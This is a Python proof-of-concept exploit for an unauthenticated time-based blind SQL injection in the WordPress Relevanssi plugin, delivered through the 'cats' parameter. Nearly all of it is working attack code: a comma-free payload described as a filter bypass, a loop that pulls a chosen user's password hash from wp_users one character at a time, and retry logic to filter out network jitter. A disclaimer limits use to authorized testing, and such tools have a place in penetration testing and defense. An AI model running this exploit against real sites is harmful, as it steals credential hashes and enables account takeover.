#!/usr/bin/env python3 """ ============================================================================= CVE-2025-4396 - WordPress Relevanssi SQL Injection (Time-Based Blind PoC) ============================================================================= Author: [n3fhara] Date: 2026-03-18 Version: 1.0 (Standard Edition) Target: WordPress with Relevanssi Plugin (Vulnerable to CVE-2025-4396) Description: ------------ This Proof of Concept (PoC) exploits an unauthenticated Time-Based Blind SQL injection vulnerability within the Relevanssi plugin (CVE-2025-4396). The injection occurs via the 'cats' parameter. To bypass strict comma filters implemented by the application, this script utilizes mathematical boolean evaluation: e.g., SLEEP(3 * (ASCII(SUBSTRING(...))=CHAR)) The script is specifically designed to extract the WordPress user password hash, fully supporting the new WP 6.8 hash format (HMAC-SHA384 + Bcrypt). Disclaimer: ----------- This tool is provided for educational and authorized testing purposes ONLY. It is intended for Red Team / Purple Team assessments. Do not use this tool against any systems for which you do not have explicit, written permission. Usage: ------ python3 CVE_2025_4396.py -t "https://target.local/?s=test&cats=" -u 1 -s 3 -v ============================================================================= """ import requests import time import urllib3 import argparse import sys import logging # Disable SSL/TLS warnings (useful for local labs with self-signed certs) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Full charset required to extract WP 6.8 Bcrypt hashes ($ and . included) CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./" MAX_HASH_LENGTH = 64 # Maximum length for WP 6.8+ hashes def parse_args(): """Parse command line arguments.""" parser = argparse.ArgumentParser(description="Standard PoC for CVE-2025-4396 (Time-Based Blind SQLi)") parser.add_argument("-t", "--target", required=True, help="Target URL including vulnerable parameters (e.g., https://target.local/?s=test&cats=)") parser.add_argument("-u", "--userid", required=True, type=int, help="The WordPress User ID to extract the hash from (e.g., 1 for admin)") parser.add_argument("-s", "--sleep", default=3, type=int, help="Base sleep time for SQL execution in seconds (default: 3)") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose debug logging") return parser.parse_args() def setup_logger(verbose): """Configure the logging module for console output.""" level = logging.DEBUG if verbose else logging.INFO logging.basicConfig( level=level, format='[%(asctime)s] [%(levelname)s] %(message)s', datefmt='%H:%M:%S' ) # Reduce noise from underlying HTTP libraries logging.getLogger("urllib3").setLevel(logging.WARNING) def extract_hash(target, user_id, sleep_time): """ Core extraction loop using Time-Based Blind SQL injection. Args: target (str): Base URL with vulnerable parameters. user_id (int): Target WP User ID. sleep_time (int): Threshold in seconds to determine True/False conditions. Returns: str: The extracted password hash. """ extracted_hash = "" logging.info(f"Starting reliable hash extraction for User ID {user_id}...") logging.info(f"Target: {target}") logging.info(f"Sleep time threshold: {sleep_time}s") # Warm-up request: Absorbs initial DNS/TLS handshake latency to prevent false positives logging.debug("Sending warm-up request to stabilize network latency...") try: requests.get(target, verify=False, timeout=5) except requests.exceptions.RequestException: pass print("\n[+] Extraction in progress (Double-verification Anti-Jitter enabled):\n") for pos in range(1, MAX_HASH_LENGTH + 1): found_char = False for char in CHARSET: char_ascii = ord(char) # Mathematical payload without commas (Relevanssi WAF bypass) payload = f"1) AND (SELECT SLEEP({sleep_time}*(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID={user_id}) FROM {pos} FOR 1))={char_ascii})))-- -" # Simple URL encoding for spaces payload_encoded = payload.replace(' ', '%20') full_url = target + payload_encoded logging.debug(f"Testing char '{char}' at pos {pos}...") start_time = time.time() try: # Setting timeout slightly above sleep_time to avoid hanging indefinitely requests.get(full_url, verify=False, timeout=sleep_time + 10) elapsed_time = time.time() - start_time except requests.exceptions.ReadTimeout: # If timeout is triggered, the sleep occurred (True condition) elapsed_time = sleep_time + 10 except requests.exceptions.RequestException as e: logging.error(f"Network error: {e}") continue # ========================================== # ANTI-JITTER: Double Verification Phase # ========================================== if elapsed_time >= sleep_time: logging.debug(f"Potential match for '{char}' (Time: {elapsed_time:.2f}s). Verifying...") start_time_verify = time.time() try: requests.get(full_url, verify=False, timeout=sleep_time + 10) verify_time = time.time() - start_time_verify except requests.exceptions.ReadTimeout: verify_time = sleep_time + 10 if verify_time >= sleep_time: extracted_hash += char # Interactive inline output sys.stdout.write(f"\rHash: {extracted_hash}\n") sys.stdout.flush() found_char = True break else: logging.debug(f"False positive rejected for '{char}' (Verify time: {verify_time:.2f}s)") # If the charset loop finishes without finding a character, end of hash is reached if not found_char: print(f"\n\n[-] No character found at position {pos}. End of hash reached or filter triggered.") break return extracted_hash def main(): """Main execution flow.""" args = parse_args() setup_logger(args.verbose) try: final_hash = extract_hash(args.target, args.userid, args.sleep) if final_hash: print(f"\n\n[!] Extraction complete. Valid Hash: {final_hash}\n") sys.exit(0) # Standard success exit code else: logging.error("Failed to extract hash. Check if the target is vulnerable or if the sleep time is sufficient.") sys.exit(1) # Standard error exit code except KeyboardInterrupt: print("\n\n[!] Extraction aborted by user.") sys.exit(130) # Standard exit code for SIGINT (Ctrl+C) if __name__ == "__main__": main()